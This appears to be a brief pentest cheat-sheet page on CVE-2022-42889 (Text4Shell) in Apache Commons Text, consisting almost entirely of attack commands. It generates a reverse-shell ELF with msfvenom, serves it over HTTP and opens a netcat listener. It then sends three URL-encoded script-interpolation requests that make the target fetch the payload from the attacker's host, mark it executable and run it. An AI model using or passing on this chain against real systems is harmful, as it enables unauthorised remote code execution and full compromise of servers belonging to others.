Apache Commons Text
CVE-2022-42889 - Text4Shell
Theory
CVE-2022-42889 - Text4Shell
Resources
Last updated
CVE-2022-42889 - Text4Shell
Last updated
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ATTACKING_IP>LPORT=<ATTACKING_PORT> -f elf -o rev
$ python -m http.server 80$ rlwrap nc -lvnp <ATTACKING_PORT>#Download payload to temp dir
curl --path-as-is "http://<TARGET_WEBSITE>/?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec('curl%20<ATTACKING_IP>/rev%20-o%20%2ftmp%2frev')%7d"
#Make it executable
curl --path-as-is "http://<TARGET_WEBSITE>/?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec('chmod%20%2bx%20%2ftmp%2frev')%7d"
#Execute
curl --path-as-is "http://<TARGET_WEBSITE>/?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec('%2ftmp%2frev')%7d"